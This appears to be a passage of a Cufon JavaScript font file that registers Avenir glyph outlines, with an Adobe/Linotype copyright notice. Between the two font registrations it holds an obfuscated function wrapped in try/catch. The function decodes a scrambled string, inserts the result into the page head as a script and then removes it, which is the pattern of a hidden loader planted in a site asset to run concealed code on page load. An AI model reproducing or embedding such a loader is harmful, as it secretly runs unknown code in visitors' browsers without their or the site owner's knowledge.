1v68,93,69,228,2,320","w":93},{"d":"139,-255r0,180v0,31,-4,81,-70,81v-37,0,-59,-21,-66,-52r23,-4v6,24,21,35,43,35v34,0,46,-23,46,-54r0,-186r24,0","w":173},{"d":"174,0r0,-29v-43,64,-155,28,-155,-54v0,-83,112,-120,155,-54r0,-135r22,0r0,272r-22,0xm176,-83v0,-37,-30,-68,-69,-68v-41,0,-66,31,-66,68v0,37,25,68,66,68v39,0,69,-31,69,-68","w":219},{"d":"28,-126r0,-18r184,0r0,18r-184,0xm28,-75r0,-17r184,0r0,17r-184,0","w":239},{"d":"28,-118r0,-17r82,0r0,-66r17,0r0,66r85,0r0,17r-85,0r0,66r-17,0r0,-66r-82,0xm30,-17r0,-18r180,0r0,18r-180,0","w":239},{"d":"41,0r0,-147r-35,0r0,-19r35,0r0,-55v3,-54,39,-61,75,-51r-5,19v-27,-11,-48,1,-48,40r0,47r39,0r0,19r-39,0r0,147r-22,0","w":106,"k":{"f":6,"\u00df":6}},{"d":"209,-121r0,99r110,0r0,22r-170,0v-68,0,-128,-50,-128,-127v0,-84,68,-128,139,-128r156,0r0,22r-107,0r0,90r101,0r0,22r-101,0xm185,-22r0,-211v-74,-5,-140,21,-140,106v0,91,71,109,140,105","w":339},{"d":"170,-166r1,166r-21,0v-1,-12,1,-27,-3,-29v-9,18,-30,33,-57,33v-90,-2,-56,-93,-63,-170r22,0v7,59,-25,151,41,151v32,0,58,-22,58,-68r0,-83r22,0xm49,-203r38,-52r26,0r39,52r-24,0r-29,-39r-29,39r-21,0","w":200},{"d":"170,-166r1,166r-21,0v-1,-12,1,-27,-3,-29v-9,18,-30,33,-57,33v-90,-2,-56,-93,-63,-170r22,0v7,59,-25,151,41,151v32,0,58,-22,58,-68r0,-83r22,0","w":200},{"d":"19,-83v0,-51,37,-88,88,-88v51,0,87,37,87,88v0,51,-36,87,-87,87v-51,0,-88,-36,-88,-87xm41,-83v0,37,25,68,66,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-41,0,-66,31,-66,68","w":213},{"d":"41,-158r50,73r-50,73r-15,-11r42,-62r-42,-64xm101,-158r49,73r-49,73r-15,-11r42,-62r-43,-64","w":173},{"d":"94,0r-95,-255r25,0r83,224r82,-224r26,0r-97,255r-24,0","w":213,"k":{"\u00f6":20,"\u00f4":20,"\u00e8":20,"\u00eb":20,"\u00ea":20,"\u00e3":20,"\u00e5":20,"\u00e0":20,"\u00e4":20,"\u00e2":20,"y":6,"\u00fd":6,"\u00ff":6,"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20,",":46,".":46,"e":20,"\u00e9":20,"o":20,"\u00f8":20,"\u0153":20,"\u00f3":20,"\u00f2":20,"\u00f5":20,"-":20,"a":20,"\u00e6":20,"\u00e1":20,"i":-2,"\u0131":-2,"\u00ed":-2,"\u00ee":-2,"\u00ef":-2,"\u00ec":-2,"r":13,"u":13,"\u00fa":13,"\u00fb":13,"\u00fc":13,"\u00f9":13,":":19,";":19}},{"d":"22,-203r38,-52r29,0r-49,52r-18,0","w":86},{"d":"32,0r0,-166r22,0r0,166r-22,0","w":86},{"d":"93,-108v14,73,-56,77,-56,131v0,26,16,44,42,44v25,0,42,-17,47,-42r24,3v-5,76,-139,78,-137,-4v2,-68,72,-58,59,-132r21,0xm99,-160v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17","w":166},{"d":"10,-30r19,-12v14,35,87,38,87,-4v0,-46,-99,-14,-99,-77v0,-60,96,-62,115,-16r-19,11v-10,-30,-74,-33,-74,3v0,45,98,11,98,78v-1,66,-104,64,-127,17","w":153},{"d":"160,-45r16,14v-43,66,-157,33,-157,-53v0,-50,35,-87,84,-87v56,0,82,41,78,93r-140,0v0,18,13,63,63,63v22,0,45,-12,56,-30xm41,-97r118,0v0,-30,-25,-54,-57,-54v-47,0,-61,45,-61,54xm79,-203r38,-52r28,0r-48,52r-18,0","w":200},{"d":"2,0r111,-255r25,0r107,255r-27,0r-28,-68r-135,0r-28,68r-25,0xm182,-89r-58,-140r-59,140r117,0xm72,-271r39,-52r25,0r39,52r-23,0r-30,-39r-29,39r-21,0","w":246},{"d":"81,-264r0,18r-33,0r0,285r33,0r0,17r-54,0r0,-320r54,0","w":93},{"d":"50,-104r0,-134r-31,24r-9,-12v20,-10,26,-34,59,-31r0,153r-19,0xm38,2r164,-269r17,10r-165,269xm165,0r0,-15r62,-61v25,-17,38,-60,-7,-62v-18,0,-27,10,-31,21r-18,-1v11,-53,99,-47,99,2v0,46,-54,69,-79,99r79,0r0,17r-105,0","w":280},{"d":"2,0r111,-255r25,0r107,255r-27,0r-28,-68r-135,0r-28,68r-25,0xm182,-89r-58,-140r-59,140r117,0xm72,-302v0,-10,7,-18,17,-18v10,0,18,8,18,18v0,10,-8,17,-18,17v-10,0,-17,-7,-17,-17xm140,-302v0,-10,8,-18,18,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-18,-7,-18,-17","w":246},{"d":"35,0r0,-255r31,0r155,223r0,-223r24,0r0,255r-30,0r-156,-223r0,223r-24,0","w":280},{"d":"29,0r-2,-166r22,0v1,12,-2,27,2,29v9,-18,30,-34,57,-34v90,3,57,94,63,171r-21,0v-7,-60,24,-151,-42,-151v-32,0,-58,22,-58,68r0,83r-21,0","w":200},{"d":"3,6r110,-274r18,7r-109,274","w":133},{"d":"152,-38r16,14v-47,58,-149,19,-149,-59v0,-80,103,-118,150,-59r-17,13v-36,-46,-117,-12,-111,46v-6,58,77,93,111,45","w":173},{"d":"196,-166r0,155v0,83,-55,97,-89,97v-33,0,-65,-13,-82,-35r17,-15v15,21,39,31,65,31v77,0,66,-55,67,-99v-39,63,-152,23,-152,-53v0,-76,113,-118,152,-53r0,-28r22,0xm175,-85v0,-36,-30,-66,-66,-66v-36,0,-66,30,-66,66v0,36,30,66,66,66v36,0,66,-30,66,-66","w":219},{"d":"33,0r11,-82r-39,0r0,-18r41,0r8,-56r-39,0r0,-17r42,0r10,-82r19,0r-11,82r50,0r11,-82r19,0r-11,82r39,0r0,17r-42,0r-7,56r38,0r0,18r-41,0r-11,82r-18,0r10,-82r-50,0r-11,82r-18,0xm115,-100r7,-56r-49,0r-8,56r50,0"},{"d":"29,0r-2,-166r22,0v1,12,-2,27,2,29v16,-38,93,-51,107,2v10,-25,34,-36,57,-36v90,3,57,94,63,171r-22,0v-7,-59,25,-151,-41,-151v-75,0,-45,85,-51,151r-21,0v-4,-55,18,-151,-35,-151v-32,0,-58,22,-58,68r0,83r-21,0","w":306},{"d":"35,0r0,-255r24,0r0,255r-24,0","w":93},{"d":"35,0r0,-83r-26,23r0,-24r26,-22r0,-149r24,0r0,129r77,-68r0,22r-77,68r0,82r118,0r0,22r-142,0","w":180,"k":{"T":33,"V":33,"W":20,"y":13,"\u00fd":13,"\u00ff":13,"Y":40,"\u00dd":40,"\u0178":40}},{"d":"24,0r0,-272r22,0r0,135v42,-66,155,-29,155,54v0,82,-112,118,-155,54r0,29r-22,0xm44,-83v0,37,30,68,69,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-39,0,-69,31,-69,68","w":219},{"d":"21,0r0,-19r38,0r0,-104r-35,0r0,-20r35,0v-3,-64,1,-116,75,-116v19,0,37,7,52,20r-15,17v-10,-10,-23,-18,-38,-18v-54,0,-53,46,-51,97r60,0r0,20r-60,0r0,104r89,0r0,19r-150,0"}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-431-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("QJT6if`],Y~hQ^&d=fkjWJW~KL`6Tf~hKL(j,Y>nT;R.Sr][KX2g+J+aKX2g+J>y;7VH=Z*:pZ(&KX2g+JkyKX2g+J+gKX2g+J+:KX2g+JGCKX2g+JSjKX2g+JWCKX2g+J;yKX2g+J+6KX2g+JG]>7~eKX2g+J+-`&:6+7bu`;:6+7bm`;:6+7bmTk:6+7byS&:6+7b[`;:6+7bf+;:6+7bfT&:6+7bfTk:6+7byp;:6+7bfT;:6+7b[+k:6+7bmSKmH=Z*gTJ(H=Z*gSL`HW&:6+7bupk:6+7bm`a=H=Z*gTY>H=Z*gT7kH=Z*gSy+-KX2g+JGLWk:6+7bu+6CH=Z*gTJTH=Z*gTymH=Z*gSLk;,Z>H=Z*gSY;H=Z*gT7bH=Z*gTy`H=Z*gSZbH=Z*gTZ>H=Z*gSf`H=Z*gTyHat;:6+7bf`;:6+7bmT&:6+7b[p^kH=Z*gSL2oKX2g+JWjKX2g+J>*b^7GkJXW(Qt+`p_N>|Z2;YKST,iH=@cem[yu&fnIVoB.%hOg:jr]6La-CMdR~1$&KX2g+ZS:KX2g+J>u(&:6+7bf`JVH=Z*gTy&RKX2g+J2Lp6:6+7bm+&:6+7GaT;:6+7by`ykH=Z*gSL>TKX2g+J(mZ]:H=Z*gT7TH=Z*gTZkH=Z*gTybH=Z*gTY;H=Z*gT7>H=Z*gT7H6KX2g+ZH-KX2g+J2a2&:6+7bup;:6+7b[T;:6+7b&+&:6+7bf`f%H=Z*gTZ;H=Z*gTZbH=Z*gT7Wn_u6NQk:6+7G6+66H=Z*:`LNR>n&kKX2g+ZSgQ6:6+7b&+r`>H;:6+7byT&:6+7buSKbH=Z*gTf`Z,G`*KX2g+JWaKX2g+JTm=[;HK^>^+&:6+7G]+&:6+7b&S2=MKX2g+J2-K6=H=Z*gSZkH=Z*gSY(WYy&SKX2g+J;[tJ:1+k:6+7b[`n%~S;:6+7b&Tn(]KX2g+J+rKX2g+JG-tu%bQ2Vu_;:6+7b[+YTH=Z*:`Z(H=Z*gTf(6i6:6+7b[S&TH=Z*gSy>H=Z*:+rkH=Z*gSfTrKX2g+J2CKX2g+J+jY6:6+7b[Tk:6+7by`GChK^~yTj`%|;:6+7G]+Y(H=Z*gSZ+[tn`giJ&]Q^W[Q|:V_Z*.H76[tn*.i76gtf:&if=],^:n_YWhT[CniX&g,X+~@a]d,YSIS[CO,r]OK[e$pn=a=6ghQZRI_rVmTXTVikghSL~%cJku=f&.K^Cy,K>Htf`Oi;ghSn(RSY>L,Yg%Ha>nK^CgTf&MTK(Htf`OiK:mTXTVikghiJ~ySY:Iia`]c7W:`&gh+y26K^-L`;gh+y*CcJku=f&.if;atK`]T6ghHJTV@f;jK^CyiL]V(^~Vtn>&HaNIiJ~ySK>ViL-h,J~r=JCmiY2VQYTOH[ed,Z:.pj.B,|&nYL`i,;6=_Kbi,;6~Q|eV")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":187,"face":{"font-family":"Avenir Light","font-weight":300,"font-stretch":"normal","units-per-em":"360","panose-1":"2 11 4 2 2 2 3 2 2 4","ascent":"272","descent":"-88","x-height":"4","bbox":"-11 -336 338 90","underline-thickness":"18","underline-position":"-18","stemh":"19","stemv":"22","unicode-range":"U+0020-U+0192"}}));
;
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright 1989, 1995, 2002, 2004 Adobe Systems Incorporated. All rights
 * reserved. Copyright 1989, 1995, 2002, 2004 Linotype GmbH. All rights reserved.
 * 
 * Trademark:
 * Avenir is a trademark of Linotype GmbH registered in the U.S. Patent and
 * Trademark Office and may be registered in certain other jurisdictions.
 * 
 * Full name:
 * AvenirLTStd-Medium
 * 
 * Manufacturer:
 * Adobe Systems Incorporated
 * 
 * Designer:
 * Adrian Frutiger
 * 
 * Vendor URL:
 * http://www.adobe.com/type
 * 
 * License information:
 * http://www.adobe.com/type/legal.html
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"18,-206v0,-30,24,-53,54,-53v30,0,54,23,54,53v0,30,-24,54,-54,54v-30,0,-54,-24,-54,-54xm42,-206v0,17,13,30,30,30v17,0,30,-13,30,-30v0,-17,-13,-29,-30,-29v-17,0,-30,12,-30,29","w":144},{"d":"26,-243r28,0r0,126r-28,0r0,-126xm26,-63r28,0r0,126r-28,0r0,-126","w":79},{"d":"27,0r0,-107r-28,28r0,-33r28,-28r0,-132r32,0r0,100r28,-28r0,33r-28,27r0,140r-32,0","w":86},{"d":"195,-171r0,253r-32,0r-1,-106v-43,59,-156,17,-146,-61v-8,-78,101,-121,147,-61r0,-25r32,0xm107,-145v-35,0,-56,25,-56,60v0,35,21,59,56,59v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60","w":219},{"d":"-3,0r165,-255r164,0r0,33r-106,0r0,75r100,0r0,33r-100,0r0,82r110,0r0,32r-145,0r0,-62r-109,0r-36,62r-43,0xm95,-94r90,0r0,-128r-6,0","w":346},{"d":"27,0r0,-272r32,0r0,272r-32,0","w":86},{"d":"150,6v-78,0,-133,-57,-133,-133v0,-76,55,-134,133,-134v78,0,133,58,133,134v0,76,-55,133,-133,133xm150,-26v58,0,96,-45,96,-101v0,-56,-38,-102,-96,-102v-58,0,-96,46,-96,102v0,56,38,101,96,101","w":299},{"d":"10,-127v0,-74,60,-134,134,-134v74,0,134,60,134,134v0,74,-60,133,-134,133v-74,0,-134,-59,-134,-133xm184,-103r28,0v-8,34,-32,57,-67,57v-50,0,-80,-34,-80,-83v0,-49,28,-82,79,-82v36,0,62,19,68,55r-28,0v-5,-18,-16,-29,-40,-29v-34,0,-51,22,-51,56v0,55,81,81,91,26xm34,-127v0,61,49,110,110,110v61,0,110,-49,110,-110v0,-61,-49,-111,-110,-111v-61,0,-110,50,-110,111","w":288},{"d":"24,0r0,-272r33,0r0,176r73,-74r45,0r-79,77r86,93r-46,0r-79,-89r0,89r-33,0","w":186},{"d":"97,-255r0,53r50,-17r7,24r-50,16r32,43r-20,15r-32,-44r-33,43r-19,-14r32,-43r-51,-17r7,-23r51,17r0,-53r26,0","w":167},{"d":"115,16r-115,-277r25,-10r115,277","w":140},{"d":"29,-99r76,-156r29,0r77,156r-30,0r-61,-127r-61,127r-30,0","w":239},{"d":"55,-104r0,-129r-30,26r-15,-17r46,-35r25,0r0,155r-26,0","w":129},{"d":"12,-29r28,-24v23,39,105,38,105,-15v0,-59,-126,-23,-126,-122v0,-30,26,-71,87,-71v28,0,54,6,73,29r-28,25v-9,-13,-25,-22,-45,-22v-38,0,-50,23,-50,39v0,64,126,26,126,118v0,85,-129,102,-170,43xm81,-269r-40,-52r31,0r28,34r27,-34r32,0r-40,52r-38,0"},{"d":"111,-165r52,78r-52,77r-22,-14r42,-63r-43,-63xm39,-165r53,78r-52,77r-23,-14r42,-63r-42,-63","w":180},{"d":"70,-264r21,14v-62,86,-61,207,0,292r-21,14v-69,-90,-71,-227,0,-320","w":100},{"d":"171,-148r-24,23v-32,-39,-103,-12,-96,41v-5,51,66,79,96,39r23,23v-51,55,-154,18,-154,-63v0,-83,103,-119,155,-63","w":173},{"d":"174,-225r-30,16v-9,-30,-72,-31,-72,6v0,42,106,38,106,103v0,21,-12,37,-30,47v15,10,23,24,23,43v-2,76,-126,83,-149,18r32,-14v8,37,81,40,81,-4v0,-37,-107,-40,-107,-95v0,-29,15,-45,36,-55v-17,-10,-29,-23,-29,-42v2,-68,112,-80,139,-23xm145,-97v0,-30,-37,-34,-58,-47v-13,5,-26,12,-26,28v0,33,40,36,63,50v11,-7,21,-18,21,-31"},{"d":"45,-130r-20,-20v37,-44,138,-27,139,32r2,118r-29,0v-2,-8,1,-19,-2,-26v-25,47,-119,39,-119,-21v-1,-52,58,-62,118,-59v11,-49,-70,-52,-89,-24xm134,-82v-37,-1,-84,1,-85,33v0,19,14,27,36,27v40,0,51,-28,49,-60xm57,-234v0,-20,18,-36,37,-36v20,0,36,15,36,35v0,20,-16,36,-36,36v-19,0,-37,-15,-37,-35xm115,-234v0,-12,-9,-21,-21,-21v-12,0,-22,9,-22,21v0,27,43,25,43,0","w":186},{"d":"249,0r0,-34r-70,0r0,-21r66,-100r28,0r0,97r23,0r0,24r-23,0r0,34r-24,0xm249,-58r0,-67r-42,67r42,0xm69,0r158,-266r22,11r-158,267xm50,-172r0,-23v19,0,39,-1,39,-21v1,-25,-43,-24,-48,-3r-30,-7v11,-47,105,-44,106,7v0,17,-11,31,-28,35v21,3,32,18,32,37v1,56,-102,60,-113,9r30,-7v4,27,56,24,55,-4v-1,-22,-23,-23,-43,-23","w":300},{"d":"27,0r0,-171r32,0r0,171r-32,0","w":86},{"d":"239,-222r-29,22v-53,-65,-156,-11,-156,75v0,54,36,99,95,99v29,0,51,-13,66,-34r29,22v-8,10,-38,44,-96,44v-81,0,-131,-67,-131,-131v0,-118,147,-182,222,-97","w":253},{"d":"57,-104r0,-129r-31,26r-15,-17r46,-35r26,0r0,155r-26,0xm178,0r0,-27r64,-58v18,-9,24,-47,-7,-46v-14,0,-23,8,-24,21r-31,-2v0,-56,112,-58,109,0v-2,43,-52,61,-77,88r77,0r0,24r-111,0xm50,0r158,-266r22,11r-158,267","w":300},{"d":"-16,-237v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23xm80,-257v11,0,22,8,22,20v0,13,-9,23,-22,23v-13,0,-22,-10,-22,-23v0,-12,11,-20,22,-20","w":86},{"d":"51,-85v0,35,21,59,56,59v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60xm16,-85v0,-50,40,-90,91,-90v51,0,91,40,91,90v0,50,-40,89,-91,89v-51,0,-91,-39,-91,-89xm166,-203r-32,0r-27,-35r-27,35r-32,0r40,-52r38,0","w":213},{"d":"19,-203r38,-52r46,0r-54,52r-30,0","w":86},{"d":"53,-166r0,-89r28,0r0,89r-28,0xm106,-166r0,-89r28,0r0,89r-28,0","w":186},{"d":"93,0r0,-109r-97,-146r45,0r69,112r72,-112r42,0r-97,146r0,109r-34,0xm86,-269r38,-52r46,0r-54,52r-30,0","w":220,"k":{"v":20,"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":50,".":50,"e":40,"\u00e9":40,"\u00ea":40,"\u00eb":40,"\u00e8":40,"o":40,"\u00f8":40,"\u0153":40,"\u00f3":40,"\u00f4":40,"\u00f6":40,"\u00f2":40,"\u00f5":40,"q":33,"-":40,"a":33,"\u00e6":33,"\u00e1":33,"\u00e2":33,"\u00e4":33,"\u00e0":33,"\u00e5":33,"\u00e3":33,"u":27,"\u00fa":27,"\u00fb":27,"\u00fc":27,"\u00f9":27,":":33,";":33,"i":13,"\u0131":13,"\u00ed":13,"\u00ee":13,"\u00ef":13,"\u00ec":13,"p":27}},{"d":"26,-109v0,-13,11,-24,24,-24v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24","w":100},{"w":100},{"d":"27,0r0,-171r32,0r0,171r-32,0xm-16,-237v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23xm80,-257v11,0,22,8,22,20v0,13,-9,23,-22,23v-13,0,-22,-10,-22,-23v0,-12,11,-20,22,-20","w":86},{"d":"239,-222r-29,22v-53,-65,-156,-11,-156,75v0,54,36,99,95,99v29,0,51,-13,66,-34r29,22v-7,10,-43,46,-101,44r-11,16v22,-1,43,4,43,26v0,40,-52,40,-82,26r6,-15v17,7,46,13,50,-9v0,-26,-33,-4,-41,-19r19,-26v-68,-10,-110,-72,-110,-130v0,-118,147,-182,222,-97","w":253},{"d":"0,0r113,-255r31,0r109,255r-40,0r-26,-63r-121,0r-25,63r-41,0xm78,-93r97,0r-49,-117xm113,-321r37,52r-29,0r-54,-52r46,0","w":253},{"d":"33,0r0,-255r34,0r0,255r-34,0xm-9,-303v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23xm64,-303v0,-26,45,-27,45,0v0,13,-9,23,-22,23v-13,0,-23,-10,-23,-23","w":100},{"d":"75,1r-71,-172r37,0r52,134r48,-134r35,0r-81,208v-11,40,-41,58,-87,45r4,-30v41,18,53,-22,63,-51xm66,-203r38,-52r46,0r-54,52r-30,0","w":180,"k":{",":27,".":27}},{"d":"67,-255r0,182r-35,0r0,-182r35,0xm26,-22v0,-13,11,-23,24,-23v13,0,24,10,24,23v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24","w":100},{"d":"75,0r-75,-255r36,0r57,204r60,-204r40,0r61,204r56,-204r36,0r-74,255r-37,0r-62,-208r-62,208r-36,0","w":346,"k":{"\u00fc":6,"\u00f6":17,"\u00ea":17,"\u00e4":17,"A":9,"\u00c6":9,"\u00c1":9,"\u00c2":9,"\u00c4":9,"\u00c0":9,"\u00c5":9,"\u00c3":9,",":32,".":32,"e":17,"\u00e9":17,"\u00eb":17,"\u00e8":17,"o":17,"\u00f8":17,"\u0153":17,"\u00f3":17,"\u00f4":17,"\u00f2":17,"\u00f5":17,"a":17,"\u00e6":17,"\u00e1":17,"\u00e2":17,"\u00e0":17,"\u00e5":17,"\u00e3":17,"r":6,"u":6,"\u00fa":6,"\u00fb":6,"\u00f9":6,":":6,";":6}},{"d":"13,-198v0,-35,29,-63,64,-63v35,0,64,28,64,63v0,35,-29,64,-64,64v-35,0,-64,-29,-64,-64xm41,-198v0,20,16,36,36,36v20,0,36,-16,36,-36v0,-20,-16,-35,-36,-35v-20,0,-36,15,-36,35xm166,-57v0,-35,29,-64,64,-64v35,0,63,29,63,64v0,35,-28,63,-63,63v-35,0,-64,-28,-64,-63xm194,-57v0,20,16,35,36,35v20,0,35,-15,35,-35v0,-20,-15,-36,-35,-36v-20,0,-36,16,-36,36xm245,-255r-160,266r-22,-11r160,-266","w":306},{"d":"33,0r0,-75r-26,22r0,-32r26,-22r0,-148r34,0r0,118r78,-67r0,32r-78,67r0,73r117,0r0,32r-151,0","w":186,"k":{"T":33,"V":33,"W":20,"y":13,"\u00fd":13,"\u00ff":13,"Y":40,"\u00dd":40,"\u0178":40}},{"d":"123,-147r0,123v15,0,28,-6,38,-18r22,20v-14,16,-36,24,-60,26r0,24r-19,0r0,-24v-48,-5,-78,-42,-78,-89v0,-49,30,-83,78,-90r0,-24r19,0r0,24v23,1,46,10,60,27r-23,22v-9,-11,-23,-21,-37,-21xm104,-24r0,-123v-62,9,-60,114,0,123"},{"d":"45,-130r-20,-20v37,-44,138,-27,139,32r2,118r-29,0v-2,-8,1,-19,-2,-26v-25,47,-119,39,-119,-21v-1,-52,58,-62,118,-59v11,-49,-70,-52,-89,-24xm134,-82v-37,-1,-84,1,-85,33v0,19,14,27,36,27v40,0,51,-28,49,-60xm80,-255r37,52r-30,0r-53,-52r46,0","w":186},{"d":"332,-32r0,32r-164,0v-94,0,-147,-53,-147,-127v0,-77,55,-128,147,-128r160,0r0,33r-106,0r0,75r99,0r0,33r-99,0r0,82r110,0xm188,-32r0,-190v-81,-7,-130,37,-130,95v0,61,49,102,130,95","w":353},{"d":"116,-171r0,28r-47,0r0,78v0,19,1,39,25,39v8,0,17,-1,23,-5r0,30v-8,4,-23,5,-29,5v-84,-4,-40,-82,-51,-147r-37,0r0,-28r37,0r0,-48r32,0r0,48r47,0","w":133},{"d":"170,-255r0,33r-104,0r-1,63v61,-19,114,16,114,79v0,91,-141,115,-167,33r35,-12v16,52,97,40,97,-19v0,-58,-67,-68,-114,-43r3,-134r137,0"},{"d":"152,-272r19,16r-40,19v37,40,67,84,67,140v0,61,-34,101,-91,101v-51,0,-91,-39,-91,-89v0,-69,85,-115,137,-73v-13,-24,-32,-45,-52,-64r-39,18r-17,-16r39,-19r-31,-26r28,-17r32,29xm51,-85v0,35,21,59,56,59v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60v-35,0,-56,25,-56,60","w":213},{"d":"2,74r7,-15v17,7,46,13,50,-9v0,-26,-35,-4,-42,-19r22,-31r18,0r-16,22v22,-1,44,4,44,26v0,40,-53,39,-83,26","w":86},{"d":"33,0r0,-255r164,0r0,33r-130,0r0,75r121,0r0,33r-121,0r0,82r137,0r0,32r-171,0xm170,-269r-33,0r-27,-35r-26,35r-33,0r40,-52r38,0","w":219},{"d":"17,-51r36,-11v8,53,96,44,96,-10v0,-42,-40,-48,-72,-48r0,-30v53,0,66,-15,66,-40v1,-51,-73,-53,-86,-12r-35,-11v24,-69,156,-65,155,21v0,27,-17,50,-43,58v32,5,50,34,50,65v1,90,-148,99,-167,18"},{"d":"111,-153r-24,0v-1,-5,2,-13,-1,-16v-12,29,-75,23,-74,-13v1,-37,45,-37,75,-37v3,-26,-42,-26,-56,-9r-13,-16v23,-27,105,-15,93,20r0,71xm58,-170v23,0,32,-16,28,-32v-21,0,-50,1,-50,19v0,10,11,13,22,13","w":121},{"d":"73,0r-69,-171r37,0r52,131r48,-131r35,0r-67,171r-36,0","w":180,"k":{",":27,".":27}},{"d":"140,-147r-25,19v-10,-19,-63,-26,-63,2v0,21,29,24,43,27v28,7,50,18,50,50v0,66,-105,69,-135,23r25,-20v12,22,76,31,76,-2v0,-19,-28,-23,-42,-26v-28,-7,-52,-15,-52,-48v1,-61,96,-70,123,-25xm61,-203r-40,-52r31,0r28,35r27,-35r32,0r-40,52r-38,0","w":159},{"d":"150,6v-78,0,-133,-57,-133,-133v0,-76,55,-134,133,-134v78,0,133,58,133,134v0,76,-55,133,-133,133xm150,-26v58,0,96,-45,96,-101v0,-56,-38,-102,-96,-102v-58,0,-96,46,-96,102v0,56,38,101,96,101xm176,-275v-23,0,-59,-31,-69,1r-18,0v3,-19,16,-37,37,-37v24,-1,56,31,67,-1r17,0v-3,18,-13,37,-34,37","w":299},{"d":"96,0r-98,-255r40,0r75,207r78,-207r38,0r-100,255r-33,0","w":226,"k":{"\u00f6":20,"\u00f4":20,"\u00ee":6,"\u00e8":20,"\u00eb":20,"\u00ea":20,"\u00e3":20,"\u00e5":20,"\u00e0":20,"\u00e4":20,"\u00e2":20,"y":6,"\u00fd":6,"\u00ff":6,"A":17,"\u00c6":17,"\u00c1":17,"\u00c2":17,"\u00c4":17,"\u00c0":17,"\u00c5":17,"\u00c3":17,",":46,".":46,"e":20,"\u00e9":20,"o":20,"\u00f8":20,"\u0153":20,"\u00f3":20,"\u00f2":20,"\u00f5":20,"-":20,"a":20,"\u00e6":20,"\u00e1":20,"r":13,"u":13,"\u00fa":13,"\u00fb":13,"\u00fc":13,"\u00f9":13,":":17,";":17,"i":6,"\u0131":6,"\u00ed":6,"\u00ef":6,"\u00ec":6}},{"d":"24,-113r0,-28r82,0r0,-59r28,0r0,59r82,0r0,28r-82,0r0,54r-28,0r0,-54r-82,0xm24,-18r0,-28r192,0r0,28r-192,0","w":239},{"d":"27,0r0,-171r32,0r0,171r-32,0xm19,-203r38,-52r46,0r-54,52r-30,0","w":86},{"d":"195,-171r0,170v6,87,-120,114,-176,57r22,-28v17,18,36,28,61,28v58,-2,65,-39,60,-84v-42,62,-146,20,-146,-57v0,-79,101,-121,147,-61r0,-25r32,0xm107,-145v-35,0,-56,25,-56,60v0,35,21,57,56,57v35,0,56,-22,56,-57v0,-35,-21,-60,-56,-60","w":219},{"d":"28,-255r35,0r0,156v0,32,16,73,64,73v48,0,64,-41,64,-73r0,-156r34,0r0,162v0,59,-42,99,-98,99v-56,0,-99,-40,-99,-99r0,-162xm113,-321r37,52r-29,0r-54,-52r46,0","w":253},{"d":"286,-49r26,18v-28,46,-111,47,-141,2v-9,12,-26,33,-70,33v-55,0,-87,-38,-87,-89v0,-83,113,-122,158,-57v12,-15,31,-33,67,-33v54,1,85,41,80,102r-129,0v-9,47,78,68,96,24xm190,-99r95,0v-1,-24,-16,-50,-47,-50v-31,0,-48,29,-48,50xm101,-24v81,1,74,-122,3,-123v-37,0,-55,28,-55,62v0,33,18,61,52,61","w":333},{"d":"143,-255r-64,99v52,-18,109,7,109,75v0,56,-40,85,-88,85v-48,0,-87,-32,-87,-82v0,-77,61,-120,90,-177r40,0xm47,-79v0,31,21,53,53,53v32,0,53,-22,53,-53v0,-31,-21,-53,-53,-53v-32,0,-53,22,-53,53"},{"d":"24,-95r0,-28r82,0r0,-82r28,0r0,82r82,0r0,28r-82,0r0,82r-28,0r0,-82r-82,0","w":239},{"d":"150,6v-78,0,-133,-57,-133,-133v0,-76,55,-134,133,-134v78,0,133,58,133,134v0,76,-55,133,-133,133xm150,-26v58,0,96,-45,96,-101v0,-56,-38,-102,-96,-102v-58,0,-96,46,-96,102v0,56,38,101,96,101xm209,-269r-33,0r-26,-35r-27,35r-33,0r41,-52r38,0","w":299},{"d":"186,-73r-137,0v0,51,80,66,104,24r25,18v-44,64,-164,35,-164,-54v0,-51,38,-90,89,-90v64,0,85,48,83,102xm49,-99r102,0v-1,-28,-16,-50,-49,-50v-32,0,-53,27,-53,50xm159,-203r-32,0r-27,-35r-27,35r-32,0r40,-52r38,0"},{"d":"33,0r0,-255r34,0r0,255r-34,0xm36,-321r38,52r-30,0r-54,-52r46,0","w":100},{"d":"33,0r0,-255r45,0r141,210r0,-210r35,0r0,255r-44,0r-143,-210r0,210r-34,0xm170,-275v0,0,-59,-31,-70,1r-17,0v3,-19,15,-37,36,-37v23,-1,57,31,67,-1r18,0v-3,18,-13,37,-34,37","w":286},{"d":"75,1r-71,-172r37,0r52,134r48,-134r35,0r-81,208v-11,40,-41,58,-87,45r4,-30v41,18,53,-22,63,-51xm31,-237v0,-26,45,